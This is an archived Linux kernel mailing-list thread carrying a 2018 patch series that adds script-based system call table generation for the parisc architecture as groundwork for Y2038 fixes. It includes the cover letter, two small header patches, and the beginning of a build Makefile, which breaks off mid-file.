        Thu, 27 Sep 2018 16:43:34 -0400
Original-Received: from mail-pg1-f194.google.com ([209.85.215.194]:37646 "EHLO
        mail-pg1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727472AbeI0Une (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 16:43:34 -0400
Original-Received: by mail-pg1-f194.google.com with SMTP id c10-v6so2097055pgq.4
        for <linux-kernel@vger.kernel.org>; Thu, 27 Sep 2018 07:25:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id;
        bh=ni/eVDa2Hujp+DsYcqwh+SM8Be5zik7hZCcPMihIUEA=;
        b=Jh7WAag+py26oqDj6xOuxjjGnozv3h/zkNrpCfO6khLoTQbXFJTKtS42ZtzcgxwjPm
         aJNpjX9466yjozwk17+IdMSpcXoTInyFhHZaTDGZfjGMzOKEt3lHMei/onc0ODjRKL3G
         iTxOO7LcBZM+L2mYI1/0AbdpZQmmOqu8p5TXk=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=ni/eVDa2Hujp+DsYcqwh+SM8Be5zik7hZCcPMihIUEA=;
        b=ZfNMgRGT90fQYQgMqy9ju+BGbcPpdrRl3yMyHEryGX/mcGJ+/9tOAe8/AfOABX7ufw
         fpM7cI3rjpf3TwV2aRcxdFBLupsFS6KEIO43WOK6cUYBMYR7ST7WfxgEVx8ky79TQLH9
         /UppIeIGOPAdBdT68jT2N3E7dzIcCv6bcGmTiEr4g8txWsA7v100iNntu9ytH0CJxth+
         miU63RWEWU1YXnVYjyPGU31Q2oZRdQ85l1eH/kVHXP6Yv7Bc0iFTzhKNA3Qpl8E2uSHH
         +4+IiZkeb3qAHV/ezPH/4o5Epk8xYutYgtpbND43NVTAkQ1RRcupgpYhJCzorphH2suI
         clEg==
X-Gm-Message-State: ABuFfoifn9XXldaKboyU6IvSyjbzeEsscVJNR00HcD34hBeTeKfYbx1P
        2QcRpSD4yiKGxwEk5S5dYmvjYw==
X-Google-Smtp-Source: ACcGV60vVzNc6oCm0vz6eiOudxb0ecHaZfGOsl2vW0RH0qZ/luM10DJ446cL/oA0K0ayuCrI6jyDjA==
X-Received: by 2002:a17:902:9045:: with SMTP id w5-v6mr11603577plz.10.1538058303127;
        Thu, 27 Sep 2018 07:25:03 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([106.51.105.186])
        by smtp.gmail.com with ESMTPSA id f81-v6sm9717421pfh.46.2018.09.27.07.24.57
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 27 Sep 2018 07:25:02 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883753 gmane.linux.ports.parisc:29033 gmane.linux.kernel.year-2038:3414 gmane.linux.kernel.cross-arch:47001
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883753>

The purpose of this patch series is:
1. We can easily add/modify/delete system call by changing entry 
in syscall.tbl file. No need to manually edit many files.

2. It is easy to unify the system call implementation across all 
the architectures. 

The system call tables are in different format in all architecture 
and it will be difficult to manually add or modify the system calls
in the respective files manually. To make it easy by keeping a script 
and which'll generate the header file and syscall table file so this 
change will unify them across all architectures.

syscall.tbl contains the list of available system calls along with 
system call number and corresponding entry point. Add a new system 
call in this architecture will be possible by adding new entry in 
the syscall.tbl file.

Adding a new table entry consisting of:
        - System call number.
        - ABI.
        - System call name.
        - Entry point name.
        - Compat entry name, if required.

ARM, s390 and x86 architecuture does exist the similar support. I 
leverage their implementation to come up with a generic solution.

I have done the same support for work for alpha, microblaze, sparc,
m68k, mips, powerpc, sh, sparc, and xtensa. But I started sending 
the patch for one architecuture for review. Below mentioned git
repository contains more details.
Git repo:- https://github.com/frzkhn/system_call_table_generator/

Added an extra patch to keep __IGNORE* entries in asm/unistd.h.

Finally, this is the ground work for solving the Y2038 issue. We 
need to add/change two dozen of system calls to solve Y2038 issue. 
So this patch series will help to easily modify from existing 
system call to Y2038 compatible system calls.

Firoz Khan (5):
  parisc: move __IGNORE* entries to non uapi header
  parisc: add __NR_Linux_syscalls macro with __NR_syscalls
  parisc: add system call table generation support
  parisc: uapi header and system call table file generation
  parisc: add __IGNORE* entries in asm/unistd.h

 arch/parisc/Makefile                       |   4 +
 arch/parisc/include/asm/Kbuild             |   3 +
 arch/parisc/include/asm/unistd.h           |   9 +
 arch/parisc/include/uapi/asm/Kbuild        |   2 +
 arch/parisc/include/uapi/asm/unistd.h      | 380 +-----------------------
 arch/parisc/kernel/syscall.S               |  12 +-
 arch/parisc/kernel/syscall_table.S         | 459 -----------------------------
 arch/parisc/kernel/syscall_table_32.S      |  13 +
 arch/parisc/kernel/syscall_table_64.S      |  20 ++
 arch/parisc/kernel/syscalls/Makefile       |  55 ++++
 arch/parisc/kernel/syscalls/syscall_32.tbl | 342 +++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscall_64.tbl | 342 +++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscallhdr.sh  |  35 +++
 arch/parisc/kernel/syscalls/syscalltbl.sh  |  42 +++
 14 files changed, 877 insertions(+), 841 deletions(-)
 delete mode 100644 arch/parisc/kernel/syscall_table.S
 create mode 100644 arch/parisc/kernel/syscall_table_32.S
 create mode 100644 arch/parisc/kernel/syscall_table_64.S
 create mode 100644 arch/parisc/kernel/syscalls/Makefile
 create mode 100644 arch/parisc/kernel/syscalls/syscall_32.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscall_64.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
 create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh

-- 
1.9.1



From - Thu Nov 08 21:42:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 1/5] parisc: move __IGNORE* entries to non uapi header
Date: Thu, 27 Sep 2018 19:54:23 +0530
Lines: 59
Approved: news@gmane.org
Message-ID: <1538058267-3765-2-git-send-email-firoz.khan@linaro.org>
References: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538058188 30217 195.159.176.226 (27 Sep 2018 14:23:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 14:23:08 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 16:23:03 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5XC0-0007aT-Pt
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 16:23:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728087AbeI0Unk (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 16:43:40 -0400
Original-Received: from mail-pf1-f195.google.com ([209.85.210.195]:41174 "EHLO
        mail-pf1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727873AbeI0Unk (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 16:43:40 -0400
Original-Received: by mail-pf1-f195.google.com with SMTP id m77-v6so2036370pfi.8
        for <linux-kernel@vger.kernel.org>; Thu, 27 Sep 2018 07:25:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=p45a/e2du0K3VOKtsUCRlFfXZHC5nty49NugILWrhhY=;
        b=Hp04tXelDoxjmpjnvGyk1hbmHmr+mthqWJ0pcvHjEV1MfQ4YeGeZ6ZmDA3qms6BAdJ
         3uHH4DaIb80ZpI/cy4V+562r6yG7jpGW38yQaiKnVEpP+2dvFsYQoPSOEHcFVNSGBHMq
         p3LVcf4DbI7D6VwtT1GuWIwNnDy2ajWis10OE=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=p45a/e2du0K3VOKtsUCRlFfXZHC5nty49NugILWrhhY=;
        b=FjD5OOPY+q4ZV+3J1+peOb49KeQKqfyOLLAPP+ICXcz8eVx8sARwFRWFJT5DpXZQrC
         l6qfRL9iRqgPRDT4nao6Gp1gBSJQN4UUqEwvzFJJmttTf8iaIRewahxqyfzRRUevKdRi
         fKdRevAkMGLb+CdYsqVsnHwBOZkqY2Q9pFy7WPfIXVu2UfQoRRpH2H7sEHMfi7GWH3xx
         6fUKvIyBBw8mWBn3t3fvCaFibMEsabLAKRHF/SJVE4CETgZLVHVAubxqwMGPihArFFtf
         F8EEAC7R+K0p4LO2VXJhZgwWlOyy6D8CwKAohpyDYrZxAM97AAX+7ntqZ9u/3q2gOEDU
         4FuA==
X-Gm-Message-State: ABuFfogzLPtAcuSy3eneTlRk1V26/7n6NxEmKWO7kpSgGHnLjHdhWEWG
        JQ+pSkDVRYu2XInuRVpgdy3fhg==
X-Google-Smtp-Source: ACcGV61+Shi0tUodVNrcHq1kqqZ7BVtB5nSbOH3nBXhNZZusVSMlPSrsmE8sFi6FCYsheg6EZzwfQQ==
X-Received: by 2002:a62:ee06:: with SMTP id e6-v6mr11979421pfi.2.1538058308607;
        Thu, 27 Sep 2018 07:25:08 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([106.51.105.186])
        by smtp.gmail.com with ESMTPSA id f81-v6sm9717421pfh.46.2018.09.27.07.25.03
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 27 Sep 2018 07:25:08 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883754 gmane.linux.ports.parisc:29034 gmane.linux.kernel.year-2038:3415 gmane.linux.kernel.cross-arch:47002
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883754>

All the  __IGNORE* entries are resides in the uapi header
file moved to non uapi header. Basically it is not used by
any user space applications.

One of the patch in this patch series will generate the
uapi header file and system call table file. So if we move
all the __IGNORE* entries to non uapi header, it will help
to simplify the uapi header and system call table file
generation script.

It is correct to keep __IGNORE* entry in non uapi header
asm/unistd.h while uapi/asm/unistd.h must hold information
only useful for user space applications.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/include/asm/unistd.h      | 6 ++++++
 arch/parisc/include/uapi/asm/unistd.h | 7 -------
 2 files changed, 6 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 3d507d0..93fd9f6 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -8,6 +8,12 @@
 
 #define SYS_ify(syscall_name)   __NR_##syscall_name
 
+#define __IGNORE_select                /* newselect */
+#define __IGNORE_fadvise64             /* fadvise64_64 */
+#define __IGNORE_pkey_mprotect
+#define __IGNORE_pkey_alloc
+#define __IGNORE_pkey_free
+
 #ifndef ASM_LINE_SEP
 # define ASM_LINE_SEP ;
 #endif
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index dc77c5a..bb52e12 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -368,13 +368,6 @@
 
 #define __NR_Linux_syscalls	(__NR_io_pgetevents + 1)
 
-
-#define __IGNORE_select		/* newselect */
-#define __IGNORE_fadvise64	/* fadvise64_64 */
-#define __IGNORE_pkey_mprotect
-#define __IGNORE_pkey_alloc
-#define __IGNORE_pkey_free
-
 #define LINUX_GATEWAY_ADDR      0x100
 
 #endif /* _UAPI_ASM_PARISC_UNISTD_H_ */
-- 
1.9.1



From - Thu Nov 08 21:42:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 2/5] parisc: add __NR_Linux_syscalls macro with __NR_syscalls
Date: Thu, 27 Sep 2018 19:54:24 +0530
Lines: 56
Approved: news@gmane.org
Message-ID: <1538058267-3765-3-git-send-email-firoz.khan@linaro.org>
References: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538058191 30433 195.159.176.226 (27 Sep 2018 14:23:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 14:23:11 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 16:23:05 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5XC5-0007ma-5J
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 16:23:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728178AbeI0Unp (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 16:43:45 -0400
Original-Received: from mail-pg1-f193.google.com ([209.85.215.193]:40536 "EHLO
        mail-pg1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727576AbeI0Uno (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 16:43:44 -0400
Original-Received: by mail-pg1-f193.google.com with SMTP id n31-v6so2087587pgm.7
        for <linux-kernel@vger.kernel.org>; Thu, 27 Sep 2018 07:25:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=p9t4d2U76M7pVedCN85mCQCPYHIVwNmeA4otNDy9pl4=;
        b=Rc8t9lmekcb9TYf9AhJ2vtFn+IsrkMaqDsPXR+06TM2j9yTko9LvoIAhPG3b6rSaIn
         KyHzSkcq6IO4LpEvBfc9YKYnXkzJ/bG6vl9pZ14w+HD3HEipgSPUaaoLrSN0RwI9ukrf
         +nb5Uj0wFiPe6bo9FGJ23cPWpVpq49Ha/ASh8=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=p9t4d2U76M7pVedCN85mCQCPYHIVwNmeA4otNDy9pl4=;
        b=AAUCD3vPnGELI2o0IjERTowPgPqOb/JBavwB8B/SQ9gnE7SkpYvTre3zsd23SNdcbW
         pw5yNZpWdv4Sbi5b3+LTNRp9E87lvDv9Oe+YYk38E/8V6Y3AvvRnK93bqzfb7zbGRyyd
         YqJnvfSxFBscMQqemao3v+C4L7xbrCAi90ohjyQFUA0Za18ATDrSF62za2ZEqLFy2g5l
         eTcPgt7rhtbZdVrQbOnlDEE4Bbx0IL/G+GIasOY0IIlKgoWWcJELCB2+Ptq/0gYQgLfs
         gIxX0cm0AbhamopbAa2cl9bHAMYSn/1/E5Wo6PaiDRllzQO6ioQjlOej6WNjSUdlA52A
         j8CA==
X-Gm-Message-State: ABuFfohfECXKyJBjjZCVT16jIt1vNXMAM3YyorrS6tqn+DLyiULQK5jg
        tfhZXCg7BsRJbJP0scOiHYofhw==
X-Google-Smtp-Source: ACcGV63o0Irg1MEEYdDF2pv3zSCv0ITgnqy+ZrvMq4cPWscqKEVtzVjYPBJTMkTJCaj8MYYvjGyYaA==
X-Received: by 2002:a63:6746:: with SMTP id b67-v6mr10616283pgc.310.1538058313394;
        Thu, 27 Sep 2018 07:25:13 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([106.51.105.186])
        by smtp.gmail.com with ESMTPSA id f81-v6sm9717421pfh.46.2018.09.27.07.25.08
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 27 Sep 2018 07:25:12 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883755 gmane.linux.ports.parisc:29035 gmane.linux.kernel.year-2038:3416 gmane.linux.kernel.cross-arch:47003
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883755>

__NR_Linux_syscalls macro holds the number of system call
exist in PARISC architecture. This macro is currently the
part of uapi/asm/unistd.h file. We have to change the value
of __NR_Linux_syscalls, if we add or delete a system call.

One of the patch in this patch series has a script which
will generate a uapi header based on syscall.tbl file. The
syscall.tbl file contains the number of system call inform-
ation. So we have two option to update __NR_Linux_syscalls
value.

1. Update __NR_Linux_syscalls in uapi/asm/unistd.h manually
   by counting the no.of system calls. No need to update
   __NR_Linux_syscalls until we either add a new system call
   or delete an existing system call.

2. We can keep this feature it above mentioned script, that
   will count the number of syscalls and keep it in a gener-
   ated file. In this case we don't need to explicitly update
   __NR_Linux_syscalls in asm/unistd.h file.

The 2nd option will be the recommended one. For that, I moved
the __NR_Linux_syscalls macro from uapi/asm/unistd.h to asm/
unistd.h. The macro __NR_syscalls also added for making the
name convention same across all architecture. While __NR_sys-
calls isn't strictly part of the uapi, having it as part of
the generated header to simplifies the implementation. We also
need to enclose this macro with #ifdef __KERNEL__ to avoid side
effects.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/include/uapi/asm/unistd.h | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index bb52e12..255c62a 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -366,7 +366,11 @@
 #define __NR_statx		(__NR_Linux + 349)
 #define __NR_io_pgetevents	(__NR_Linux + 350)
 
-#define __NR_Linux_syscalls	(__NR_io_pgetevents + 1)
+#ifdef __KERNEL__
+#define __NR_syscalls           351
+#endif
+
+#define __NR_Linux_syscalls     __NR_syscalls
 
 #define LINUX_GATEWAY_ADDR      0x100
 
-- 
1.9.1



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 3/5] parisc: add system call table generation support
Date: Thu, 27 Sep 2018 19:54:25 +0530
Lines: 902
Approved: news@gmane.org
Message-ID: <1538058267-3765-4-git-send-email-firoz.khan@linaro.org>
References: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538058199 31124 195.159.176.226 (27 Sep 2018 14:23:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 14:23:19 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 16:23:14 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5XCD-0007wl-3r
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 16:23:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728224AbeI0Unw (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 16:43:52 -0400
Original-Received: from mail-pf1-f194.google.com ([209.85.210.194]:36779 "EHLO
        mail-pf1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727421AbeI0Unv (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 16:43:51 -0400
Original-Received: by mail-pf1-f194.google.com with SMTP id b7-v6so2056733pfo.3
        for <linux-kernel@vger.kernel.org>; Thu, 27 Sep 2018 07:25:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=ZTgSxR6bAObu/ZTjwXLuhzXOP+nkB4/ZFvRfZjHujbI=;
        b=Al2woGusuMsKlUu1ZlIaViW8pmnc3HcafTkaLEZTuyRIApt1TR+kCGPGBUnI8qTviw
         WK6CjtyvuRLQOXb1RhGe2QF1sW7wwVytPf/8e9fX/QQe265NEVgXjIc2hQPU5A+8Ig64
         de0+9lL+1jAT29dja7k9VLAB5amv18b2hl+n4=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=ZTgSxR6bAObu/ZTjwXLuhzXOP+nkB4/ZFvRfZjHujbI=;
        b=TauyCAlajeogBP6pF3qwL+iDixFLVFB7CSy5d1jpx+aypyxxFmaSQcvePjAgFI+6kq
         E1O9Uyl7bnMkjv/eLh0m+0C/XAIHI93SEoe9bKG2dmQw80MhuXJ1PsAEZGZUjXuhEGdb
         OGhSO34By+oKPYrvYhgsjqbOeDW0CNdoBarBqi17hSJKx3Lhcw/rF4vh0YXDNdcA2np7
         tpl4FkCnG5GxotGzwTmvhQF66NUyn7eITOkC6pEzpCESi2MTlN9VMkPflJzpJMQgg41g
         h0CFw/F8ZIfD/PhksKkfwRSP5NqIw4DPJ2XMYzEG5f0xqOGY93Ab7vkJ3PF4c6ul72XO
         PM4g==
X-Gm-Message-State: ABuFfoixeUg6HxCrl50isYDe4XTb6yXmZDClhzL5qEDT87aP1JSH5PDw
        3HvwADbNOUE8zOZeEq3kTTmCiw==
X-Google-Smtp-Source: ACcGV60Nxm83xe49rD9/SNBCITsZxFO2r1B8d1WGQV0Z3kJBXT1uwV8o4Y1xd20+VttDWXmo5R2kDg==
X-Received: by 2002:a62:6e45:: with SMTP id j66-v6mr7589854pfc.259.1538058319106;
        Thu, 27 Sep 2018 07:25:19 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([106.51.105.186])
        by smtp.gmail.com with ESMTPSA id f81-v6sm9717421pfh.46.2018.09.27.07.25.13
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 27 Sep 2018 07:25:18 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1538058267-3765-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883756 gmane.linux.ports.parisc:29036 gmane.linux.kernel.year-2038:3417 gmane.linux.kernel.cross-arch:47004
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883756>

The system call tables are in different format in all
architecture and it will be difficult to manually add or
modify the system calls in the respective files. To make
it easy by keeping a script and which'll generate the
header file and syscall table file so this change will
unify them across all architectures.

The system call table generation script is added in
syscalls directory which contain the script to generate
both uapi header file system call table generation file
and syscall_32/64.tbl file which'll be the input for the
scripts.

syscall_32/64.tbl contains the list of available system calls
along with system call number and corresponding entry point.
Add a new system call in this architecture will be possible
by adding new entry in the syscall_32/64.tbl file.

Adding a new table entry consisting of:
        - System call number.
        - ABI.
        - System call name.
        - Entry point name.
	- Compat entry name, if required.

syscallhdr.sh and syscalltbl.sh will generate uapi header-
unistd_32/64.h and syscall_table_32/64/c32.h files respect-
ively. File syscall_table_32/64/c32.h is included by sys-
call.S - the real system call table. Both .sh files will
parse the content syscall.tbl to generate the header and
table files.

ARM, s390 and x86 architecuture does have the similar support.
I leverage their implementation to come up with a generic
solution.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/kernel/syscalls/Makefile       |  55 +++++
 arch/parisc/kernel/syscalls/syscall_32.tbl | 342 +++++++++++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscall_64.tbl | 342 +++++++++++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscallhdr.sh  |  35 +++
 arch/parisc/kernel/syscalls/syscalltbl.sh  |  42 ++++
 5 files changed, 816 insertions(+)
 create mode 100644 arch/parisc/kernel/syscalls/Makefile
 create mode 100644 arch/parisc/kernel/syscalls/syscall_32.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscall_64.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
 create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh

diff --git a/arch/parisc/kernel/syscalls/Makefile b/arch/parisc/kernel/syscalls/Makefile
new file mode 100644
index 0000000..e8b80ee
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/Makefile
@@ -0,0 +1,55 @@
+# SPDX-License-Identifier: GPL-2.0
+out := arch/$(SRCARCH)/include/generated/asm
+uapi := arch/$(SRCARCH)/include/generated/uapi/asm
+
+_dummy := $(shell [ -d '$(uapi)' ] || mkdir -p '$(uapi)') \
+	  $(shell [ -d '$(out)' ] || mkdir -p '$(out)')
+
+syscall32 := $(srctree)/$(src)/syscall_32.tbl
+syscall64 := $(srctree)/$(src)/syscall_64.tbl
+
+syshdr := $(srctree)/$(src)/syscallhdr.sh
+systbl := $(srctree)/$(src)/syscalltbl.sh
+
+quiet_cmd_syshdr = SYSHDR  $@
+      cmd_syshdr = $(CONFIG_SHELL) '$(syshdr)' '$<' '$@'  \
+		   '$(syshdr_abi_$(basetarget))'          \
+		   '$(syshdr_pfx_$(basetarget))'          \
+		   '$(syshdr_offset_$(basetarget))'
+
+quiet_cmd_systbl = SYSTBL  $@
+      cmd_systbl = $(CONFIG_SHELL) '$(systbl)' '$<' '$@'  \
+                   '$(systbl_abi_$(basetarget))'          \
+		   '$(systbl_offset_$(basetarget))'
+
+syshdr_offset_unistd_32 := __NR_Linux
+$(uapi)/unistd_32.h: $(syscall32) $(syshdr)
+	$(call if_changed,syshdr)
+
+syshdr_offset_unistd_64 := __NR_Linux
